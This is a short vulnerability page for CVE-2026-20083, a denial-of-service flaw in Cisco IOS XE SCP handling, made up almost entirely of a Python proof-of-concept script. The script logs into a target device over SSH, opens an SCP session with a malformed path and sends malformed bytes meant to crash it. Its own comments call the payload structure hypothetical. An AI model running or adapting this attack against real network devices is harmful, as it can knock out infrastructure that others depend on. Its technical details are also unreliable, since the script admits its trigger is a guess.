CVE-2026-20083 Cisco IOS XE SCP DoS漏洞

#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-20083 # Requires: pip install paramiko import paramiko import time def exploit_cve(target_ip, username, password): try: # 1. Establish SSH connection client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password) # 2. Send malformed SCP request # The specific malformed packet structure is hypothetical based on the description # 'crafted command through SSH' transport = client.get_transport() channel = transport.open_session() channel.exec_command('scp -t /malformed/path') # 3. Send payload causing DoS (Example malformed header) # Sending unexpected bytes to trigger parsing error malformed_payload = b'C0000\x00\x00\x00' channel.send(malformed_payload) print("[+] Malformed payload sent. Triggering DoS...") time.sleep(2) except Exception as e: print(f"[-] Error: {e}") finally: client.close() if __name__ == "__main__": exploit_cve("192.168.1.1", "low_priv_user", "password")